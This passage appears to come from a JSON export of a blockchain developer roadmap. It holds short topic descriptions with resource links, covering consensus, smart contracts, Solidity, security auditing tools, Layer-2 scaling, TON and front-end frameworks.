    "content": "# Proof-of-Work (PoW)\n\nProof-of-Work is a mechanism used to confirm transactions and add new blocks to a blockchain. It involves solving a complex computational puzzle, requiring significant processing power and time. The first miner to solve the puzzle gets to add the next block to the chain and is rewarded with cryptocurrency. This process makes it computationally expensive to tamper with the blockchain, ensuring its security and integrity.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Proof of Work (PoW) in Blockchain: Key Mechanism Explained](https://www.investopedia.com/terms/p/proof-work.asp)\n- [@article@What is \"proof of work\" or \"proof of stake\"?](https://www.coinbase.com/en-es/learn/crypto-basics/what-is-proof-of-work-or-proof-of-stake)\n- [@video@What is Proof of Work? (Cryptocurrency Explanation)](https://www.youtube.com/watch?v=XLcWy1uV8YM)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/practices@UOF7Ep97i1l3Own6YEWlq.md",
    "content": "# Security Practices\n\nSecurity practices are the established methods, procedures, and guidelines implemented to protect systems, data, and assets from unauthorized access, use, disclosure, disruption, modification, or destruction. These practices encompass a wide range of measures, including access controls, encryption, vulnerability management, incident response, and security awareness training, all designed to minimize risks and maintain confidentiality, integrity, and availability.\n\nVisit the following resources to learn more:\n\n- [@course@Cyfrin Updraft | Smart Contract Security](https://updraft.cyfrin.io/courses/security)\n- [@article@Ethereum Smart Contract Security Best Practices](https://consensys.github.io/smart-contract-best-practices/)\n- [@video@Smart Contract Security and Auditing 101](https://youtu.be/0aJfCug1zTM)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/python@pVG7bGqVGCeSBlZxRNHJs.md",
    "content": "# Python for dApps\n\nPython is a versatile and widely-used programming language known for its clear syntax and extensive libraries. It's a great choice for building decentralized applications (dApps) because it simplifies complex tasks like interacting with blockchain networks, handling data, and creating smart contracts. Python's readability makes development faster and easier to maintain, while its rich ecosystem provides tools for everything from cryptography to web development, all essential for creating robust and functional dApps.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@course@Introduction to Python and Vyper](https://updraft.cyfrin.io/courses/intro-python-vyper-smart-contract-development)\n- [@course@Intermediate Python and Vyper](https://updraft.cyfrin.io/courses/intermediate-python-vyper-smart-contract-development)\n- [@course@Advanced Python and Vyper Smart Contract Development](https://updraft.cyfrin.io/courses/advanced-python-vyper-smart-contract-development)\n- [@official@Python Getting Started](https://www.python.org/about/gettingstarted/)\n- [@official@Python Website](https://www.python.org/)\n- [@official@Python Documentation](https://docs.python.org/3/)\n- [@article@Python Crash Course](https://ehmatthes.github.io/pcc/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/quicknode@FGih8w9We52PHpBnnGO6H.md",
    "content": "# QuickNode\n\nQuickNode is a platform that provides infrastructure and tools for developers to build and run blockchain applications. It simplifies the process of connecting to blockchain networks by offering pre-configured nodes and APIs, eliminating the need for developers to set up and manage their own blockchain infrastructure. This allows developers to focus on building the actual application logic rather than dealing with the complexities of blockchain node management.\n\nVisit the following resources to learn more:\n\n- [@official@Quicknode](https://www.quicknode.com/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/react@0DUYS40_-BTpk2rLQ1a0e.md",
    "content": "# React\n\nReact is a JavaScript library for building user interfaces. It allows developers to create reusable UI components and efficiently update and render them based on data changes. React uses a component-based architecture and a virtual DOM to optimize performance, making it a popular choice for building interactive and dynamic web applications.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated React Roadmap](https://roadmap.sh/react)\n- [@official@React Website](https://react.dev/)\n- [@official@Getting Started with React](https://react.dev/learn)\n- [@video@React JS Course for Beginners](https://www.youtube.com/watch?v=nTeuhbP7wdE)\n- [@video@React Course - Beginners Tutorial for React JavaScript Library [2022]](https://www.youtube.com/watch?v=bMknfKXIFA8)\n- [@video@Understanding Reacts UI Rendering Process](https://www.youtube.com/watch?v=i793Qm6kv3U)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/remix@lXukWXEatsF87EWFSYyOO.md",
    "content": "# IDEs\n\nAn integrated development environment is a software application that provides comprehensive facilities to computer programmers for software development. An IDE normally consists of at least a source code editor, build automation tools and a debugger.\n\nVisit the following resources to learn more:\n\n- [@article@Integrated Development Environments](https://ethereum.org/en/developers/docs/ides/)\n- [@article@Remix - Ethereum IDE & community](https://remix-project.org/)\n- [@feed@Explore top posts about DevTools](https://app.daily.dev/tags/devtools?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/repo-hosting-services@oSK3MRQD_4j1gGDORN7RO.md",
    "content": "# Repo Hosting Services\n\nWhen working on a team, you often need a remote place to put your code so others can access it, create their own branches, and create or review pull requests. These services often include issue tracking, code review, and continuous integration features. A few popular choices are GitHub, GitLab, BitBucket, and AWS CodeCommit.\n\nVisit the following resources to learn more:\n\n- [@article@GitHub](https://github.com/features/)\n- [@article@GitLab](https://about.gitlab.com/)\n- [@article@BitBucket](https://bitbucket.org/product/guides/getting-started/overview)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/rust@Larbhjzi-MnPQKH1Pzn2R.md",
    "content": "# Rust\n\nRust is a multi-paradigm, high-level programming language focused on safety, speed, and concurrency. It achieves memory safety without garbage collection, making it suitable for systems programming and resource-constrained environments. Rust's ownership system and borrow checker prevent common programming errors like data races and dangling pointers at compile time.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Rust Programming Language](https://www.rust-lang.org/)\n- [@course@Cyfrin Updraft | Rust Programming Basics](https://updraft.cyfrin.io/courses/rust-programming-basics)\n- [@official@Learn Rust](https://www.rust-lang.org/learn)\n- [@article@Visit the Dedicated Rust Roadmap](https://roadmap.sh/rust)\n- [@article@How to Build and Deploy a Smart Contract With Rust and the Gear Protocol](https://www.freecodecamp.org/news/build-and-deploy-smart-contract-rust-gear-protocol/)\n- [@feed@Explore top posts about Rust](https://app.daily.dev/tags/rust?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/security@PBTrg9ivOpw9uNTVisIpx.md",
    "content": "# dApp Security\n\nDecentralized applications (dApps) face unique security risks because they run on a blockchain and interact with smart contracts. Common vulnerabilities include flaws in smart contract code that can be exploited to drain funds, front-running where malicious actors take advantage of pending transactions, and phishing attacks targeting users' private keys. Securing dApps requires careful auditing of smart contracts, robust access controls, and user education to prevent exploitation of these vulnerabilities.\n\nVisit the following resources to learn more:\n\n- [@opensource@DAPP Security Standards](https://github.com/Dexaran/DAPP-security-standards/blob/master/README.md)\n- [@article@dApp Security Considerations](https://livebook.manning.com/book/building-ethereum-dapps/chapter-14/)\n- [@article@dApp Security: All You Need to Know](https://www.immunebytes.com/blog/dapp-security/#Benefits_of_DApps_Security)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/security@snQA5_4H2dDkT1pENgaYD.md",
    "content": "# Security\n\nSecurity is about protecting valuable information and assets from unauthorized access, use, disclosure, disruption, modification, or destruction. In blockchains, this means ensuring that transactions are valid, data is tamper-proof, and the system is resistant to attacks. Strong security is essential for maintaining trust and reliability in blockchain networks, as any vulnerability could lead to loss of funds, data breaches, or network failures.\n\nVisit the following resources to learn more:\n\n- [@course@Cyfrin Updraft | Smart Contract Security](https://updraft.cyfrin.io/courses/security)\n- [@article@Smart Contract Security](https://ethereum.org/en/developers/docs/smart-contracts/security/)\n- [@article@Ethereum Smart Contract Security Recommendations](https://consensys.net/blog/developers/ethereum-smart-contract-security-recommendations/)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/sidechains@lSQA3CfQBugEBhAh2yxro.md",
    "content": "# Sidechains\n\nSidechains are separate blockchains that are linked to a main blockchain (often called the \"mainchain\" or \"parent chain\"). They operate independently but can communicate with the mainchain, allowing assets and data to be transferred between them. This enables the mainchain to offload some of its transaction processing and functionality to the sidechain, improving scalability and allowing for experimentation with new features without affecting the mainchain's stability.\n\nVisit the following resources to learn more:\n\n- [@article@Sidechains - Ethereum](https://ethereum.org/en/developers/docs/scaling/sidechains/)\n- [@article@An Introduction to Sidechains](https://www.coindesk.com/learn/an-introduction-to-sidechains)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/slither@YA3-7EZBRW-T-8HuVI7lk.md",
    "content": "# Slither\n\nSlither is a static analysis tool for Solidity smart contracts. It analyzes code without executing it, identifying potential vulnerabilities, bugs, and code inefficiencies. It helps developers find issues like reentrancy, gas optimization opportunities, and compliance with coding standards before deploying their contracts.\n\nVisit the following resources to learn more:\n\n- [@opensource@Slither, the Solidity source analyzer](https://github.com/crytic/slither)\n- [@article@Slither Framework](https://blog.trailofbits.com/2018/10/19/slither-a-solidity-static-analysis-framework/)\n- [@video@Cyfrin Updraft | Slither Walkthrough](https://updraft.cyfrin.io/courses/security/puppy-raffle/slither-walkthrough)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/smart-contract-frameworks@KRtEN0845lV5e85SOi6oZ.md",
    "content": "# Smart Contract Frameworks\n\nSmart contract frameworks are tools that provide a structure and set of libraries to help developers write, test, and deploy smart contracts more efficiently. They typically include features like automated testing, deployment scripts, and standardized contract structures, reducing boilerplate code and improving the overall development experience. These frameworks streamline the process of building decentralized applications (dApps) by offering pre-built components and best practices.\n\nVisit the following resources to learn more:\n\n- [@article@dApp Development Frameworks](https://ethereum.org/en/developers/docs/frameworks/)\n- [@article@A Definitive List of Ethereum Developer Tools - Frameworks](https://media.consensys.net/an-definitive-list-of-ethereum-developer-tools-2159ce865974#frameworks)\n- [@article@Top 10 Smart Contract Developer Tools You Need for 2022](https://medium.com/better-programming/top-10-smart-contract-developer-tools-you-need-for-2022-b763f5df689a)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/smart-contracts@BV6lEwCAKaYxSPWD0LV_d.md",
    "content": "# Smart Contracts\n\nSmart contracts are self-executing agreements written in code and stored on a blockchain. They automatically enforce the terms of a contract when predetermined conditions are met, without the need for intermediaries. These contracts are immutable and transparent, ensuring that once deployed, they cannot be altered and their execution is verifiable by anyone on the network.\n\nVisit the following resources to learn more:\n\n- [@course@Cyfirn Updraft | Solidity Smart Contract Development](https://updraft.cyfrin.io/courses/solidity)\n- [@article@Smart Contracts](https://www.ibm.com/topics/smart-contracts)\n- [@article@What Are Smart Contracts and How Do They Work?](https://chain.link/education/smart-contracts)\n- [@article@Introduction to smart contracts - Ethereum](https://ethereum.org/en/smart-contracts/)\n- [@article@Smart Contract Libraries](https://ethereum.org/en/developers/docs/smart-contracts/libraries/)\n- [@video@Smart Contracts - Simply Explained](https://youtu.be/ZE2HxTmxfrI)\n- [@feed@Explore top posts about Smart Contracts](https://app.daily.dev/tags/smart-contracts?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/solana@JYHK95Xr0R1MVCda1Epl6.md",
    "content": "# Solana\n\nSolana is a high-performance, open-source blockchain platform designed for speed and scalability. It aims to provide fast transaction speeds and low transaction costs, making it suitable for decentralized applications (dApps) and decentralized finance (DeFi) projects. Solana achieves this through a combination of innovative technologies, including Proof of History (PoH), a consensus mechanism that allows for faster block creation and validation.\n\nVisit the following resources to learn more:\n\n- [@official@Beginners Guide To Solana](https://solana.com/news/getting-started-with-solana-development)\n- [@official@Solana Introduction](https://docs.solana.com/introduction)\n- [@official@Solana Whitepaper](https://solana.com/solana-whitepaper.pdf)\n- [@official@Solana Architecture](https://docs.solana.com/cluster/overview)\n- [@article@What is Solana, and How does it work?](https://cointelegraph.com/news/what-is-solana-and-how-does-it-work)\n- [@feed@Explore top posts about Solana](https://app.daily.dev/tags/solana?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/solidity@chaIKoE1uE8rpZLkDSfV-.md",
    "content": "# Solidity\n\nSolidity is a programming language specifically designed for writing smart contracts that run on the Ethereum blockchain. It's a high-level, contract-oriented language whose syntax is similar to JavaScript, C++, and Python, making it relatively accessible to developers familiar with these languages. Solidity allows developers to define the logic and rules that govern the behavior of smart contracts, including how they store data, handle transactions, and interact with other contracts.\n\nVisit the following resources to learn more:\n\n- [@course@Cyfirn Updraft | Solidity Smart Contract Development](https://updraft.cyfrin.io/courses/solidity)\n- [@course@Cyfirn Updraft | Assembly and Formal Verification](https://updraft.cyfrin.io/courses/formal-verification)\n- [@official@Solidity Programming Language](https://soliditylang.org/)\n- [@article@Solidity Tutorial](https://www.tutorialspoint.com/solidity/index.htm)\n- [@video@Solidity Course by FreeCodeCamp](https://www.youtube.com/watch?v=ipwxYa-F1uY)\n- [@video@Solidity Course by Dapp University](https://www.youtube.com/watch?v=EhPeHeoKF88)\n- [@video@Learn Blockchain, Solidity, and Full Stack Web3 Development](https://youtu.be/gyMwXuJrbJQ)\n- [@feed@Explore top posts about Solidity](https://app.daily.dev/tags/solidity?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/source-of-randomness-attacks@f60P5RNNdgCbrhDDzkY25.md",
    "content": "# Source of Randomness Attacks\n\nThe security of cryptographic systems depends on some secret data that is known to authorized persons but unknown and unpredictable to others. To achieve this unpredictability, some randomization is typically employed. Modern cryptographic protocols often require frequent generation of random quantities. Cryptographic attacks that subvert or exploit weaknesses in this process are known as randomness attacks.\n\nVisit the following resources to learn more:\n\n- [@article@Smart Contract Randomness or ReplicatedLogic Attack](https://blog.finxter.com/randomness-or-replicatedlogic-attack-on-smart-contracts/)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/starknet@Ib9STGxQa8yeoB-GFeGDE.md",
    "content": "# Starknet\n\nStarknet is a permissionless, decentralized Layer 2 (L2) scaling solution that operates on top of Ethereum. It uses a technology called STARKs (Succinct Transparent ARguments of Knowledge) to bundle multiple transactions together and process them off-chain, before submitting a single proof of validity back to the Ethereum mainnet. This significantly increases transaction throughput and reduces gas fees compared to directly interacting with Ethereum.\n\nVisit the following resources to learn more:\n\n- [@official@Starknet](https://www.starknet.io/)\n- [@official@What is Starknet?](https://www.starknet.io/what-is-starknet/)\n- [@article@Understanding Starknet](https://messari.io/report/understanding-starknet)\n- [@video@Starknet [STRK] Crypto Explained Simply For Beginners](https://www.youtube.com/watch?v=huGrKz6DUM4)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/state--payment-channels@5T5c3SrFfMZLEKAzxJ-_S.md",
    "content": "# State & Payment Channels\n\nState channels and payment channels are techniques used to improve the scalability and efficiency of blockchain transactions. They allow participants to conduct multiple transactions off-chain, only interacting with the main blockchain to open and close the channel. This reduces congestion on the main chain and lowers transaction fees, as only the opening and closing transactions need to be recorded on the blockchain.\n\nVisit the following resources to learn more:\n\n- [@article@The Basics of State Channels](https://education.district0x.io/general-topics/understanding-ethereum/basics-state-channels/)\n- [@article@State Channels: An Introduction to Off-chain Transactions](https://www.talentica.com/blogs/state-channels-an-introduction-to-off-chain-transactions/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/storage@zvUCR0KeigEi9beqFpwny.md",
    "content": "# Decentralized Storage\n\nDecentralized storage in blockchain involves distributing data across a network of computers instead of relying on a single, central server. Each computer in the network holds a piece of the overall data, making it more resistant to censorship, single points of failure, and data loss. This distributed approach enhances security and availability, as the data remains accessible even if some nodes go offline.\n\nVisit the following resources to learn more:\n\n- [@article@Blockchain Storage](https://www.techtarget.com/searchstorage/definition/blockchain-storage)\n- [@article@Decentralized Storage](https://ethereum.org/en/developers/docs/storage/)\n- [@article@How IPFS works](https://docs.ipfs.tech/concepts/how-ipfs-works/)\n- [@article@Data Locations - Storage, Memory, and Calldata](https://www.cyfrin.io/glossary/data-locations-storage-memory-and-calldata-solidity-code-example)\n- [@feed@Explore top posts about Storage](https://app.daily.dev/tags/storage?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/substrate@E4uuJZFZz-M1vlpZmdJTO.md",
    "content": "# Substrate\n\nSubstrate is a modular framework for building blockchains. It provides a set of pre-built components and libraries that developers can use to create custom blockchains tailored to specific needs, rather than building everything from scratch. It offers flexibility in designing consensus mechanisms, runtime logic, and networking protocols, making it suitable for a wide range of blockchain applications.\n\nVisit the following resources to learn more:\n\n- [@official@Substrate Documentation](https://docs.substrate.io/quick-start/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/supporting-languages@NK02dunI3i6C6z7krENCC.md",
    "content": "# Supporting Languages\n\nWhile the bulk of the logic in blockchain applications is handled by smart contracts, all the surrounding services that support those smart contracts (frontend, monitoring, etc.) are often written in other languages.\n\nVisit the following resources to learn more:\n\n- [@article@Programming Languages for Smart Contracts](https://blog.logrocket.com/smart-contract-programming-languages/)\n- [@article@Top Programming Languages for Blockchains](https://www.codecademy.com/resources/blog/programming-languages-blockchain-development/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/testing@-7Bq2ktD0nt7of9liuCDL.md",
    "content": "# Testing dApps\n\nTesting decentralized applications (dApps) involves verifying that the smart contracts and user interfaces function correctly and securely. This process ensures that the dApp behaves as expected under various conditions, including normal usage, edge cases, and potential attacks. Effective testing helps identify and fix bugs, vulnerabilities, and performance issues before deployment, leading to a more reliable and trustworthy application.\n\nVisit the following resources to learn more:\n\n- [@article@What is Software Testing?](https://www.guru99.com/software-testing-introduction-importance.html)\n- [@article@Testing Pyramid](https://www.browserstack.com/guide/testing-pyramid-for-test-automation)\n- [@article@How to test dApps (decentralized applications)](https://rhian-is.medium.com/how-to-test-dapps-decentralized-applications-4662cf61db90)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/ton@4tAyunbYVwlbzybuVq7fr.md",
    "content": "# TON\n\nTON (The Open Network) is a fast and scalable layer-1 blockchain architecture designed for high transaction throughput and user accessibility. It aims to provide a platform for decentralized applications, instant payments, and secure communication. TON utilizes a unique multi-blockchain approach with a main chain and numerous workchains, allowing for parallel processing and efficient resource allocation.\n\nVisit the following resources to learn more:\n\n- [@official@Start Building on The Open Network](https://ton.org/dev)\n- [@official@TON Introduction](https://ton.org/docs/learn/introduction)\n- [@official@Blockchain Analysis](https://ton.org/analysis)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/ton@ug4FB4RXItHU0ADnisvve.md",
    "content": "# TON\n\nTON (The Open Network) is a decentralized and open-source blockchain platform originally designed by the Telegram team. It aims to provide fast, secure, and scalable transactions and decentralized applications (dApps). TON utilizes a multi-blockchain architecture, including a masterchain and multiple workchains, to achieve high throughput and flexibility.\n\nVisit the following resources to learn more:\n\n- [@official@Start Building on The Open Network](https://ton.org/dev)\n- [@official@TON Introduction](https://ton.org/docs/learn/introduction)\n- [@official@Blockchain Analysis](https://ton.org/analysis)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/tools@n3pipnNb76aaQeUwrDLk_.md",
    "content": "# Tools\n\nBlockchain and smart contract technology is fairly new, therefore, you should expect constant changes in the security landscape, as new bugs and security risks are discovered, and new best practices are developed. Keeping track of this constantly moving landscape proves difficult, so using tools to aid this mission is important. The cost of failing to properly secure smart contracts can be high, and because change can be difficult, we must make use of these tools.\n\nVisit the following resources to learn more:\n\n- [@article@Best Blockchain Tools](https://101blockchains.com/best-blockchain-tools/)\n- [@article@Top 10 Tools for Blockchain Development](https://www.blockchain-council.org/blockchain/top-10-tools-for-blockchain-development/)\n- [@video@Cyfrin Updraft | Security Tools](https://updraft.cyfrin.io/courses/security/audit/tools)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/truffle@Vl9XHtc22HnqaCnF9yJv9.md",
    "content": "# Truffle\n\nTruffle is a development environment, testing framework, and asset pipeline for blockchains using the Ethereum Virtual Machine (EVM). It provides tools for compiling, testing, and deploying smart contracts, making it easier for developers to build decentralized applications (dApps). Truffle streamlines the development process by offering features like contract management, automated testing, and network configuration.\n\nVisit the following resources to learn more:\n\n- [@official@Truffle Documentation](https://trufflesuite.com/docs/truffle/)\n- [@article@Ultimate Guide to Truffle](https://archive.trufflesuite.com/guides/ultimate-guide-to-truffle-the-gateway-to-full-stack-blockchain-development/)\n- [@article@Consensys Announces the Sunset of Truffle and Ganache and New Hardhat Partnership](https://consensys.io/blog/consensys-announces-the-sunset-of-truffle-and-ganache-and-new-hardhat?utm_source=github&utm_medium=referral&utm_campaign=2023_Sep_truffle-sunset-2023_announcement_)\n- [@video@Truffle Tutorial for Beginners](https://youtu.be/62f757RVEvU)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/tvm-based@hlcavpstLnXkJcjccQUL8.md",
    "content": "# TVM-Based Blockchains\n\nTVM-based blockchains use the TON Virtual Machine (TVM) to execute smart contracts. TVM is designed for high performance and scalability, allowing these blockchains to handle a large number of transactions efficiently. It supports multiple programming languages and offers features like asynchronous message passing, enabling complex and decentralized applications to be built on the chain.\n\nVisit the following resources to learn more:\n\n- [@official@Original Specification](https://ton.org/tvm.pdf)\n- [@official@Everscale VM Specification](https://docs.everscale.network/tvm.pdf)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/tvm-based@miBEG3x_foKYxwfX4Tr4f.md",
    "content": "# TVM-Based"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/types-of-blockchains@EQgb4LqXnyq3gOX7Fb85s.md",
    "content": "# Types of Blockchains\n\nBlockchains come in different flavors, each with its own way of handling transactions and data. Some, like those based on the Ethereum Virtual Machine (EVM), are designed for smart contracts and decentralized applications, allowing developers to build complex logic directly onto the blockchain. Others, like those using the Unspent Transaction Output (UTXO) model (Bitcoin), focus on tracking ownership of digital assets through a chain of transactions. There are also variations in terms of permissioning, with public blockchains being open to anyone, and private or consortium blockchains restricting access to authorized participants.\n\nVisit the following resources to learn more:\n\n- [@article@Types of Blockchains: PoW, PoS, and Private](https://www.gemini.com/cryptopedia/blockchain-types-pow-pos-private)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/understanding-blockchain@bA4V_9AbV3uQi3qrtLWk0.md",
    "content": "# Understanding Blockchain\n\nA blockchain is essentially a shared, immutable ledger that records transactions in blocks. These blocks are linked together chronologically using cryptography, forming a chain. Each block contains a hash of the previous block, making it extremely difficult to alter or tamper with the data. This distributed and secure nature makes it suitable for various applications beyond just cryptocurrencies.\n\nVisit the following resources to learn more:\n\n- [@course@Cyfirn Updraft | Blockchain Basics](https://updraft.cyfrin.io/courses/blockchain-basics)\n- [@course@The Complete Course On Understanding Blockchain Technology](https://www.udemy.com/course/understanding-blockchain-technology/)\n- [@article@What is a Blockchain?](https://www.wired.com/story/guide-blockchain/)\n- [@video@Blockchain Technology Explained](https://youtu.be/qOVAbKKSH10)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/unit-tests@IXs4nUzy_A5vBjI_44kaT.md",
    "content": "# Unit Tests\n\nUnit tests are a way to check if individual parts of a program, like functions or modules, work correctly in isolation. They involve writing specific test cases that provide inputs to these parts and then verifying that the outputs match what's expected. This helps developers find and fix bugs early in the development process, ensuring that each component of the software behaves as intended before being integrated with other parts.\n\nVisit the following resources to learn more:\n\n- [@article@Smart Contracts Unit Testing](https://ethereum.org/en/developers/docs/smart-contracts/testing/#unit-testing)\n- [@article@Tips for Unit Testing Ethereum Smart Contracts in Solidity](https://betterprogramming.pub/a-few-tips-for-unit-testing-ethereum-smart-contract-in-solidity-d804062068fb)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/upgrades@OotJnHgm622NQJc2WRI7c.md",
    "content": "# Smart Contract Upgrades\n\nSmart contract upgrades involve modifying or replacing existing smart contracts deployed on a blockchain. Since blockchains are immutable, directly altering a deployed contract is impossible. Instead, upgrade mechanisms typically involve deploying a new contract and migrating data and functionality from the old contract to the new one, ensuring minimal disruption and maintaining the integrity of the application.\n\nVisit the following resources to learn more:\n\n- [@article@Upgrading Ethereum contracts](https://ethereum.org/en/developers/docs/smart-contracts/upgrading/)\n- [@article@Upgrading smart contracts](https://docs.openzeppelin.com/learn/upgrading-smart-contracts)\n- [@article@What are Upgradable Smart Contracts? Full Guide](https://moralis.io/what-are-upgradable-smart-contracts-full-guide/)\n- [@video@Upgrading your Smart Contracts | A Tutorial & Introduction](https://youtu.be/bdXJmWajZRY)\n- [@video@Cyfrin Updraft | Introduction to Upgradable Smart Contracts](https://updraft.cyfrin.io/courses/advanced-foundry/upgradeable-smart-contracts/introduction-to-upgradeable-smart-contracts)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/utxo-based@C-SpX4Rzk5Um2F_X5ZdBr.md",
    "content": "# UTXO-Based Blockchains\n\nUTXO-based blockchains utilize the Unspent Transaction Output (UTXO) model. In this model, each transaction consumes previous transaction outputs (UTXOs) as inputs and creates new UTXOs as outputs. These UTXOs represent the ownership of digital assets, and the sum of unspent UTXOs associated with a user's address determines their balance. Transactions are validated by verifying that the sum of the inputs equals the sum of the outputs, ensuring that no new coins are created out of thin air.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding UTXO: Definition, Functionality, and Blockchain Impact](http://investopedia.com/terms/u/utxo.asp)\n- [@article@What is a Bitcoin unspent transaction output (UTXO)?](http://kraken.com/learn/what-is-bitcoin-unspent-transaction-output-utxo)\n- [@video@Bitcoin UTXOs Explained Simply with Real Examples](https://www.youtube.com/watch?v=X6d4AaG6RYA)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/validium@chmxDwNVOefp98IbjEgNl.md",
    "content": "# Validium\n\nValidium is a type of layer-2 scaling solution for blockchains that processes transactions off-chain and posts only validity proofs on the main chain. Unlike other scaling solutions, Validium uses external data availability, meaning the transaction data is not stored on the main chain or by the validators of the layer-2 network itself, but by a separate entity. This approach can significantly increase transaction throughput and reduce costs, as the main chain only needs to verify the proofs, not store the entire transaction data.\n\nVisit the following resources to learn more:\n\n- [@article@Validium - Ethereum](https://ethereum.org/en/developers/docs/scaling/validium/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/venom@3HCpgWWPIkhK3gPRJuJQf.md",
    "content": "# Venom\n\nVenom Network is a next-generation, scalable Layer 0 blockchain designed for enterprise and Web3 use, featuring advanced dynamic sharding, Proof-of-Stake (PoS), and a unique architecture for high transaction speeds (150k+ TPS) and security, allowing for parallel processing of tasks like CBDCs, RWA tokenization, and dApps. It combines Layer 0 interoperability with Layer 1 execution, offering a hybrid approach for regulated environments\n\nVisit the following resources to learn more:\n\n- [@official@Venom](https://venom.foundation)\n- [@official@Venom Documentation](https://docs.venom.foundation/)\n- [@official@Venom Whitepaper](https://venom.foundation/Venom_Whitepaper.pdf)\n- [@official@Venom Explore Grants](https://venom.foundation/#explore_grants)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/version-control-systems@Fs9rcEh_f9fJ2tF-bkAUE.md",
    "content": "# Version Control Systems\n\nVersion control systems are tools that manage changes to code and other files over time. They allow multiple people to collaborate on a project without overwriting each other's work, track the history of modifications, and revert to previous versions if needed. These systems essentially create a detailed record of every change made to the project, making it easier to understand who made what changes and when.\n\nVisit the following resources to learn more:\n\n- [@article@Git](https://git-scm.com/)\n- [@article@Mercurial](https://www.mercurial-scm.org/)\n- [@article@What is Version Control?](https://www.atlassian.com/git/tutorials/what-is-version-control)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/vs-code@J4ev2h5cipcwh3OcuBdMU.md",
    "content": "# VS Code\n\nVS Code (Visual Studio Code) is a free and popular source code editor developed by Microsoft. It's used by developers for writing, debugging, and managing code across various programming languages. VS Code offers features like syntax highlighting, intelligent code completion, debugging tools, integrated terminal, and a vast library of extensions to enhance its functionality.\n\nVisit the following resources to learn more:\n\n- [@official@Visual Studio Code](https://code.visualstudio.com/o)\n- [@official@Docs - Visual Studio Code](https://code.visualstudio.com/docs)\n- [@article@VSCode Basics](https://www.youtube.com/watch?v=B-s71n0dHUk)\n- [@article@VSCode in 100 Seconds](https://www.youtube.com/watch?v=KMxo3T_MTvY)\n- [@video@FreeCodeCamp Crash Course](https://www.youtube.com/watch?v=WPqXP_kLzpo)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/vue@Ke97bMHGfb-8hB_xSwMbk.md",
    "content": "# Vue\n\nVue.js is a progressive JavaScript framework used for building user interfaces and single-page applications. It focuses on the view layer, making it easy to integrate into existing projects or build complex applications from scratch. Vue utilizes a component-based architecture, allowing developers to create reusable UI elements and manage application state efficiently.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Vue Roadmap](https://roadmap.sh/vue)\n- [@official@Vue.js Website](https://vuejs.org/)\n- [@official@Vue.js Guide](https://vuejs.org/v2/guide/)\n- [@video@Vue.js Course for Beginners](https://www.youtube.com/watch?v=FXpIoQ_rT_c)\n- [@video@Vue.js Crash Course](https://www.youtube.com/watch?v=qZXt1Aom3Cs)\n- [@feed@Explore top posts about Vue.js](https://app.daily.dev/tags/vuejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/vyper@jgHa_LeCac0pl6dSADizF.md",
